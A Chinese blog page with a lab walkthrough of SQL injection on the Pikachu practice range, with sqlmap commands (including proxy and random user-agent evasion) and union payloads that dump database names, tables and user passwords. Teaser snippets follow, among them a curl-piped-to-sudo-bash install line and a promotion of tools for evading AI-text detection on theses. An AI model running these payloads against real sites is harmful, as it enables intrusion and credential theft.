news 2026/8/30 3:15:06

pikachu靶场——SQL-Inject—1(Kali系统)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
pikachu靶场——SQL-Inject—1(Kali系统)

文章目录

    • (一)数字型注入(post)
    • (二)漏洞的利用

由于时间关系,今天使用 union 查询方式复现 数字型注入(post)的案例。本文仅用于合法授权的渗透测试场景,旨在帮助开发者识别sql注入漏洞、提升Web应用安全性,严禁用于未授权攻击!网络安全无小事,违规操作将承担相应法律责任。

(一)数字型注入(post)

使用 sqlmap 语句对网站地址是否存在 sql 注入的漏洞进行检测,具体命令:

sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_id.php' --data='id=1&submit=%E6%9F%A5%E8%AF%A2' --batch

如果 sqlmap 语句显示下面的信息,表述目标网站拒绝了 sqlmap 发起的请求,

这是将 sqlmap 的命令改为如下,主要变动是添加了请求代理(proxy)和随机生成请求头

sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_id.php' --data='id=1&submit=%E6%9F%A5%E8%AF%A2'--random-agent --proxy='http://127.0.0.1:8080' --batch

具体结果如图:

sqlmap 检测到http://192.168.0.20/pikachu/vul/sqli/sqli_id.php地址存在三个sql漏洞,分别为 布尔盲注漏洞(boolen-based blind)、报错注入(error-based)、时间盲注(time-based blind)、联合查询注入(union query)

(二)漏洞的利用

这里使用联合查询注入(union query)的方式来实施注入。通过注入,获取数据库的相关信息。通过 bp 获取查询的数据包。并将数据包发送到 Repeater 中。

1.获取数据库名称

在 id 处 拼接union select database(),''的 sql 语句,发送后,会返回两条信息,其中pikachu就是当前数据库的名称。这里加 ‘’ 的原因是通过sqlmap 扫描,查询的数据返回的是2列的数据,要保证返回数据数量的一致。

2.获取数据库中表的名称

在 id 处拼接union select (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES t WHERE t.TABLE_SCHEMA='pikachu'),''的 sql 语句,发送后,会返回两条信息,其中相同位置显示的就是pikachu数据库中表的信息。

3.获取表中的字段名称

在 id 处拼接union SELECT (select GROUP_CONCAT(c.COLUMN_NAME) from information_schema.COLUMNSc where c.TABLE_SCHEMA='pikachu' and c.TABLE_NAME='users'),''

4.获取表中指定字段的具体数据

在 id 处拼接union select username,password from users where '1' ='1',这里需要注意的是查询的字段个数要与返回的个数相同。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/14 17:14:46

Ubuntu 云服务部署 OpenClaw 并接入飞书机器人

一、部署openclaw 点击立即登录 1.更新系统包索引 sudo apt update 2.安装 curl sudo apt install -y curl 3.安装Node.js(LTS版本) curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash sudo apt-get install -y nodejs #安装 4.配置npm镜像&am…

作者头像 李华
网站建设 2026/7/14 17:14:59

3款降AI工具实测对比:价格差3倍效果差多少?结果出乎意料

2026年知网AIGC检测越来越严?这几款降AI工具实测通过率最高 上个月帮师弟测了一下他的论文,知网AIGC检测结果出来是67%。 他写论文的时候确实用了DeepSeek帮忙理思路,但核心内容是自己写的,引用也是自己查的。67%这个数字属实有…

作者头像 李华
网站建设 2026/7/14 17:14:57

养老院管理系统(Java+Web+MySQL)

目 录 摘 要 1 Abstract 2 第一章 绪论 6 一、 选题的依据及意义 6 二、 国内外现状研究 6 三、 研究目的 7 四、 本文研究的主要内容 7 五、 本文章节安排 7 六、 本章小结 8 第二章 设计技术与开发环境 9 一、 相关技术介绍 9 (一) JSP简介…

作者头像 李华
网站建设 2026/7/14 17:14:58

华为OD机试真题 JavaGo 实现【最长的顺子】

目录 题目 思路 考点 Code 题目 题目描述 斗地主起源于湖北十堰房县,据说是一位叫吴修全的年轻人根据当地流行的扑克玩法“跑得快”改编的,如今已风靡整个中国,并流行于互联网上。 牌型: 单顺,又称顺子,最少5张牌,最多12张牌(3…A)不能有2,也不能有大小王,不计花色…

作者头像 李华
网站建设 2026/7/14 17:14:58

Git常用指令

参考视频 01 - Git - 教程简介_哔哩哔哩_bilibili 在需要使用git的文件夹打开git bash,指令如下↓ 当然图形化界面也很香!github desktop也很舒服! 查看文件 版本号 git cat-file -p 版本号 仓库操作 在当前文件夹下克隆仓库 git clone …

作者头像 李华